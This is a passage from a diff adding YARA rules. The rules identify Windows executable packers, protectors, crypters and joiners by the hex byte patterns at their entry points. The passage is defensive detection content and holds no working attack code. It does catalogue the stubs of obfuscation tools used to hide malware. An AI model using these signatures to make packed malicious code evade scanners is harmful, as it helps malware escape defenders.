E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02BorlandDelphiSetupModuleAnorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PELOCKnt204
+	{
+	strings:
+			$a0 = { EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MacromediaWindowsFlashProjectorPlayerv60
+	{
+	strings:
+			$a0 = { 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule IMPostorPack10MahdiHezavehi
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PluginToExev102BoBBobSoft
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PKLITEv120
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateexeProtectorV18SetiSoftTeam
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PENinjamodified
+	{
+	strings:
+			$a0 = { 5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DotFixNiceProtect21GPcHSoft
+	{
+	strings:
+			$a0 = { E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EXEStealthv276WebToolMaster
+	{
+	strings:
+			$a0 = { EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor239DLLcompressedresources
+	{
+	strings:
+			$a0 = { 50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnoPiX103110BaGiE
+	{
+	strings:
+			$a0 = { 83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b3
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule IonicWindSoftware
+	{
+	strings:
+			$a0 = { 9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePackV11XMethod2bagie
+	{
+	strings:
+			$a0 = { 4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 }
+	$a1 = { 4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule PCGuardv500d
+	{
+	strings:
+			$a0 = { FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESHiELDv0251
+	{
+	strings:
+			$a0 = { 5D 83 ED 06 EB 02 EA 04 8D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule RLPackFullEdition117DLLaPLibAp0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b4
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02PEX099Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallVirtualizationSuite30XThinstallCompany
+	{
+	strings:
+			$a0 = { 9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA }
+	$a1 = { 9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv20
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SLVc0deProtectorv11SLV
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C }
+	$a1 = { E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule FreeJoinerSmallbuild031032GlOFF
+	{
+	strings:
+			$a0 = { 50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SLVc0deProtectorv06SLV
+	{
+	strings:
+			$a0 = { E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 97 11 40 00 8D B5 EF 11 40 00 B9 FE 2D 00 00 8B FE AC F8 ?? ?? ?? ?? ?? ?? 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmor04600759hying
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule RpolycryptbyVaska2003071841
+	{
+	strings:
+			$a0 = { 58 ?? ?? ?? ?? ?? ?? ?? E8 00 00 00 58 E8 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? 04 }
+
+	condition:
+			$a0
+	}
+	
+	rule DBPEvxxxDingBoy
+	{
+	strings:
+			$a0 = { EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftwareCompressBGSoftware
+	{
+	strings:
+			$a0 = { E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4UnextrPasswcheckVirshield
+	{
+	strings:
+			$a0 = { 03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv0399Dwing
+	{
+	strings:
+			$a0 = { 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 }
+	$a1 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 }
+	$a2 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule UPXModifiedstub
+	{
+	strings:
+			$a0 = { 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Cryptic20Tughack
+	{
+	strings:
+			$a0 = { B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule KGBSFX
+	{
+	strings:
+			$a0 = { 60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv20betaJeremyCollake
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+
+	rule DevCv4
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule DevCv5
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	rule CRYPToCRACksPEProtectorV092LukasFleischer
+	{
+	strings:
+			$a0 = { E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UpackV037Dwing
+	{
+	strings:
+			$a0 = { 0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 }
+	$a1 = { 60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E }
+	$a2 = { BE ?? ?? ?? ?? AD 50 FF ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+    
+
+
+	rule Obsidiumv13037ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule EXECryptor2xSoftCompleteDevelopement
+	{
+	strings:
+			$a0 = { A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF }
+
+	condition:
+			$a0
+	}
+	
+*/
+
+	rule VxCompiler
+	{
+	strings:
+			$a0 = { 8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BJFntv13
+	{
+	strings:
+			$a0 = { EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePEtite21emadicius
+	{
+	strings:
+			$a0 = { B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXShitv01500mhz
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 }
+	$a1 = { E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 }
+	$a2 = { E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule PackmanV0001Bubbasoft
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DJoinv07publicxorencryptiondrmist
+	{
+	strings:
+			$a0 = { C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoinerSmallbuild033GlOFF
+	{
+	strings:
+			$a0 = { 50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule AnticrackSoftwareProtectorv109ACProtect
+	{
+	strings:
+			$a0 = { 60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnderGroundCrypterbyBooster2000
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MicroJoiner16coban2k
+	{
+	strings:
+			$a0 = { 33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WiseInstallerStubv11010291
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateEXEProtector18
+	{
+	strings:
+			$a0 = { BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SimpleUPXCryptorv3042005multilayerencryptionMANtiCORE
+	{
+	strings:
+			$a0 = { 60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3 }
+	$a1 = { 60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
